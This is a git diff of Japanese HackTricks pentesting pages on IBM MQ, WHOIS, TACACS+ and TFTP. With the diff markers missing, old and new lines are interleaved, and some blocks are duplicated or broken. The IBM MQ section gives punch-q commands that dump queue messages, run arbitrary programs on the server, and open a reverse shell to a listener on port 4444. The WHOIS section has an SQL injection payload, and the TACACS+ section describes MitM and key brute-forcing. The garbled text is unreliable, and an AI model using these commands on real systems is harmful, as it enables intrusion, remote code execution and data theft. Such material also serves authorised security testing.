簡単な攻撃には、Dockerを使用した**[punch-q](https://github.com/sensepost/punch-q)**が推奨されています。このツールは、Pythonライブラリ`pymqi`を積極的に使用しています。
より手動的なアプローチには、Pythonライブラリ**[pymqi](https://github.com/dsuch/pymqi)**を使用します。[IBM MQの依存関係](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)が必要です。
@ -56,29 +56,29 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. その後、`.so` ファイルを一時的にLDに追加します`export LD_LIBRARY_PATH=/opt/mqm/lib64`、**他のツールを実行する前に**これらの依存関係を使用しています。
6. 次に、`.so` ファイルを一時的に LD に追加します: `export LD_LIBRARY_PATH=/opt/mqm/lib64` を実行し、他のツールを実行する**前に**これらの依存関係を使用します。
次に、プロジェクト [**pymqi**](https://github.com/dsuch/pymqi) をクローンします興味深いコードスニペット、定数などが含まれています。または、次のコマンドでライブラリを直接インストールできます:`pip install pymqi`
次に、プロジェクト [**pymqi**](https://github.com/dsuch/pymqi) をクローンします。これには興味深いコードスニペット、定数などが含まれています。または、次のコマンドを使用してライブラリを直接インストールできます: `pip install pymqi`
### punch-q の使用
#### Docker を使用する場合
単純に次を使用します`sudo docker run --rm -ti leonjza/punch-q`
単純に次を使用します: `sudo docker run --rm -ti leonjza/punch-q`
#### Docker を使用しない場合
プロジェクト [**punch-q**](https://github.com/sensepost/punch-q) をクローンし、インストールのために readme に従ってください(`pip install -r requirements.txt && python3 setup.py install`
プロジェクト [**punch-q**](https://github.com/sensepost/punch-q) をクローンし、インストールのために readme に従います (`pip install -r requirements.txt && python3 setup.py install`)
その後、`punch-q` コマンドで使用できます。
## 列挙
**punch-q** または **pymqi** を使用して、**キューマネージャー名、ユーザー、チャネル、およびキュー** を列挙することができます。
**punch-q** または **pymqi** を使用して、**キュー管理者名、ユーザー、チャネル、およびキュー** を列挙できます。
### キューマネージャー
### キュー管理者
時々、キューマネージャー名を取得するための保護がない場合があります:
時々、キュー管理者名を取得する際に保護がされていないことがあります:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
@ -92,11 +92,11 @@ Queue Manager name: MYQUEUEMGR
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
いくつかのIBM MQインスタンスは、**認証されていない**MQリクエストを受け入れることがありますので、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
IBM MQの一部インスタンスは、**認証されていない**MQリクエストを受け入れることがあり、`--username / --password`は必要ありません。もちろん、アクセス権も異なる場合があります。
一度チャネル名(ここでは`DEV.ADMIN.SVRCONN`)を取得すると、他のすべてのチャネルを列挙することができます。
一度チャネル名(ここでは `DEV.ADMIN.SVRCONN`)を取得すると、他のすべてのチャネルを列挙できます。
列挙は基本的に、**pymqi**の`code/examples/dis_channels.py`からのこのコードスニペットを使用して行うことができます。
列挙は基本的に、**pymqi**の`code/examples/dis_channels.py`というコードスニペットで行うことができます。
```python
import logging
import pymqi
@ -191,24 +191,24 @@ Showing queues with prefix: "*"...
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**特定されたすべてのキューに反復処理を躊躇しないでください。**
**特定されたすべてのキューで反復処理をためらわないでください。**
### コード実行
> 続行する前にいくつかの詳細: IBM MQ は複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストは[IBM MQドキュメント](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)にあります。
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) は、インスタンスとリモートでやり取りするために焦点を当てています。**punch-q** そしてさらに **pymqi** は PCF インタラクションに基づいています。
>
> PCF コマンドのリストを見つけることができます:
> * [PCFドキュメントから](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)、および
> * [定数から](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
>
> 興味深いコマンドの1つは `MQCMD_CREATE_SERVICE` で、そのドキュメントは[こちら](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)で利用できます。これは、インスタンス上のローカルプログラムを指す `StartCommand` を引数として取ります(例: `/bin/sh`)。
> ドキュメントにはコマンドの警告もあります: *"注意: このコマンドを使用すると、ユーザーが mqm 権限で任意のコマンドを実行できます。このコマンドの使用権限が付与された場合、悪意のあるユーザーや不注意なユーザーが、例えば重要なファイルを削除することでシステムやデータを損傷させるサービスを定義できます。"*
>
> ドキュメントにはコマンドの警告もあります: *"注意: このコマンドを使用すると、ユーザーが mqm 権限で任意のコマンドを実行できます。このコマンドの使用権限が付与された場合、悪意のあるユーザーや不注意なユーザーが、システムやデータを破損するサービスを定義できる可能性があります。たとえば、重要なファイルを削除することができます。"*
>
> *注: IBM MQドキュメント管理リファレンスによれば、サービス作成`DEFINE SERVICE`のための等価なMQSCコマンドを実行するためのHTTPエンドポイント `/admin/action/qmgr/{qmgrName}/mqsc` も存在します。この側面はここではまだカバーされていません。*
PCFを使用してリモートプログラムの実行のためのサービス作成/削除は **punch-q** によって行うことができます:
リモートプログラムの実行のためのPCFによるサービス作成/削除は **punch-q** によって行うことができます:
**例1**
```bash
@ -220,7 +220,7 @@ PCFを使用してリモートプログラムの実行のためのサービス
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
マシン上の既存のプログラムを列挙することもできます(ここでは`/bin/doesnotexist`...は存在しません):
マシン上の既存のプログラムを列挙することもできます(ここでは`/bin/doesnotexist`は存在しません):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
@ -235,11 +235,11 @@ Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**プログラムの起動非同期であることに注意してください。そのため、エクスプロイトを活用するためには、別のアイテムが必要です** ***(逆シェル用のリスナー、異なるサービスでのファイル作成、ネットワークを介したデータの外部流出など)***
**プログラムの起動非同期であることに注意してください。そのため、エクスプロイトを活用するためには、別のアイテムが必要です** ***(逆シェル用のリスナー、異なるサービスでのファイル作成、ネットワークを介したデータの外部への送信など)***
**例2**
簡単な逆シェルのために、**punch-q** はまた2つの逆シェルペイロードを提案しています
簡単な逆シェルのために、**punch-q** はまた2つの逆シェルペイロードを提案しています
- bashを使用したもの
- perlを使用したもの
@ -250,7 +250,13 @@ bash用:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Perlの場合
```plaintext
Perl:
```
```plaintext
Perl:
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
@ -338,6 +344,6 @@ CONTAINER ID IMAGE COMMAND CRE
## 参考文献
* [mgeekygist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [mgeeky's gist - "Practical IBM MQ Penetration Testing notes"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq)

View file

@ -1,47 +1,45 @@
```markdown
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
# 基本情報
**WHOIS**"who is"というフレーズとして発音されるは、ドメイン名、IPアドレスブロック、または自律システムなどのインターネットリソースの登録ユーザーや割り当てられた人を照会するために広く使用されるクエリと応答プロトコルですが、他の情報範囲にも使用されます。[こちら](https://en.wikipedia.org/wiki/WHOIS)から)
**WHOIS**プロトコルは、特定のデータベースを介して、さまざまなインターネットリソースの登録者や保有者について**問い合わせる**ための標準的な方法として機能します。これらのリソースには、ドメイン名、IPアドレスのブロック、自律システムなどが含まれます。これら以外にも、プロトコルはさまざまな情報にアクセスするために利用されます。
**デフォルトポート:** 43
```
```
PORT STATE SERVICE
43/tcp open whois?
```
# 列挙
ドメインに関してwhoisサービスが持つ全ての情報を取得します:
ドメインに関するwhoisサービスの持つすべての情報を取得します:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
以下は、WHOISサービスに情報を要求する際に、使用されているデータベースが応答に表示されることがあることに注意してください。
Notice that sometimes when requesting information from a WHOIS service, the database being used appears in the response:
![](<../.gitbook/assets/image (147).png>)
また、WHOISサービスは常に**データベース**を使用して情報を保存および抽出する必要があります。したがって、ユーザーが提供した情報からデータベースを**クエリ**する際に、**SQLインジェクション**が存在する可能性があります。例えば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"` を実行することで、データベースに保存されている**情報**を**すべて抽出**することができるかもしれません。
Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when **querying** the database from some information provided by the user. For example, by executing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could potentially **extract all** the **information** saved in the database.
# Shodan
* `port:43 whois`
# HackTricks 自動コマンド
# HackTricks Automatic Commands
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.
@ -51,7 +49,8 @@ Entry_1:
Name: Notes
Description: Notes for WHOIS
Note: |
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
@ -62,14 +61,14 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
```
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加する、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>

View file

@ -1,22 +1,22 @@
# 49 - Pentesting TACACS+
# 49 - TACACS+のペンテスト
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする**
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
## 基本情報
**Terminal Access Controller Access Control System (TACACS)** は、ユーザーが**ルーターやNAS**への**アクセス**を試みる際に、中央集権的に検証を提供するセキュリティプロトコルです。TACACS+は、オリジナルのTACACSプロトコルのより新しいバージョンで、認証、認可、およびアカウンティングAAAサービスを個別に提供します。
**Terminal Access Controller Access Control System (TACACS)** プロトコルは、ルーターやネットワークアクセスサーバーNASにアクセスしようとするユーザーを中央で検証するために使用されます。そのアップグレードバージョンである**TACACS+**は、サービスを認証、認可、およびアカウンティングAAAに分割します。
```
PORT STATE SERVICE
49/tcp open tacacs
@ -25,42 +25,21 @@ PORT STATE SERVICE
## 認証キーの傍受
攻撃者がクライアントとTACACSサーバーの通信を傍受すると、**暗号化された認証キーを傍受することができます**。その後、攻撃者は**ログに検出されることなく、ローカルでのブルートフォース攻撃をキーに対して試みることができます**。キーのブルートフォースに成功すると、攻撃者はネットワーク機器へのアクセスを得て、Wiresharkのようなツールを使用してトラフィックを復号化することができます。
クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受**される可能性があります。攻撃者はその後、ログに検出されることなくキーに対する**ローカルな総当たり攻撃を試みる**ことができます。キーの総当たり攻撃に成功すると、攻撃者はネットワーク機器にアクセスし、Wiresharkなどのツールを使用してトラフィックを復号化できます。
### MitM攻撃の実行
**ARPスプーフィング攻撃を利用して、Man-in-the-MiddleMitM攻撃を実行することができます**
**ARPスプーフィング攻撃を利用して中間者攻撃MitM攻撃**を実行できます
### キーのブルートフォース
### キーの総当たり攻撃
キーをブルートフォースするために、[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)を使用できます:
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/)を使用してキーの総当たり攻撃を行うことができます。
```
sudo loki_gtk.py
```
```markdown
キーが正常に**bruteforced**された場合(**通常はMD5暗号化形式**)、**装置にアクセスしてTACACSで暗号化されたトラフィックを解読することができます。**
### トラフィックの復号化
キーが正常に**ブルートフォース攻撃**されると(**通常はMD5で暗号化された形式で**)、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
### トラフィックの解読
キーが正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを解読する**ことです。Wiresharkは、キーが提供されれば、暗号化されたTACACSトラフィックを処理できます。解読されたトラフィックを分析することで、**使用されたバナーや管理者ユーザーのユーザー名**などの情報を取得できます。
キーが正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、キーが提供されていれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
取得した認証情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワークを制御することができます。これらの行動は教育目的のみであり、適切な許可なしに使用しないことが重要です。
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* **HackTricks**のgithubリポジトリ[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
</details>
```
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用し、適切な権限なしに使用しないように注意することが重要です。

View file

@ -1,40 +1,38 @@
```markdown
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
- **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
</details>
# 基本情報
**TFTP**はUDPポート69を使用し、**認証が不要**です。クライアントはRFC 1350で概説されたデータグラム形式を使用してサーバーから読み取り、サーバーに書き込みます。プロトコル内の不備認証の欠如とトランスポートセキュリティの不在のため、公開インターネット上のサーバーで見つけることは珍しいです。しかし、大規模な内部ネットワーク内では、TFTPはVoIPハンドセットやその他のデバイスに設定ファイルやROMイメージを提供するために使用されます。
**Trivial File Transfer Protocol (TFTP)** は、**UDPポート69**で使用される簡単なプロトコルで、認証を必要とせずファイルの転送を可能にします。**RFC 1350**で強調されており、その単純さから主要なセキュリティ機能が欠けているため、一般インターネットでの使用は限られています。ただし、**TFTP** は、**VoIPハンドセット**などのデバイスに**構成ファイル**や**ROMイメージ**を効率的に配布するために、大規模な内部ネットワーク内で広く利用されています。
**TODO**: Bittorrent-trackerについての情報を提供してくださいShodanはこのポートをその名前で識別します。情報があれば、[**HackTricks telegramグループ**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issue教えてください。
**TODO**: Bittorrentトラッカーについての情報を提供しますShodanはこのポートをその名前で識別します。これに関する詳細情報がある場合は、[**HackTricks telegram group**](https://t.me/peass)(または[PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)のgithub issueお知らせください。
**デフォルトポート:** 69/UDP
```
```
PORT STATE SERVICE REASON
69/udp open tftp script-set
```
# 列挙
TFTPはディレクトリリストを提供しないため、`nmap`の`tftp-enum`スクリプトはデフォルトパスをブルートフォースで試みます。
TFTPはディレクトリリストを提供しないため、`nmap`のスクリプト`tftp-enum`はデフォルトのパスを総当たり攻撃しようとします。
```bash
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
```
## ダウンロード/アップロード
ファイルのダウンロード/アップロードが可能かどうかを確認するために、MetasploitやPythonを使用できます:
MetasploitまたはPythonを使用して、ファイルのダウンロード/アップロードができるかどうかを確認できます:
```bash
msf5> auxiliary/admin/tftp/tftp_transfer_util
```
@ -52,14 +50,14 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを**共有する**。
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**をフォローしてください。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -1,33 +1,31 @@
```markdown
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックす
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見
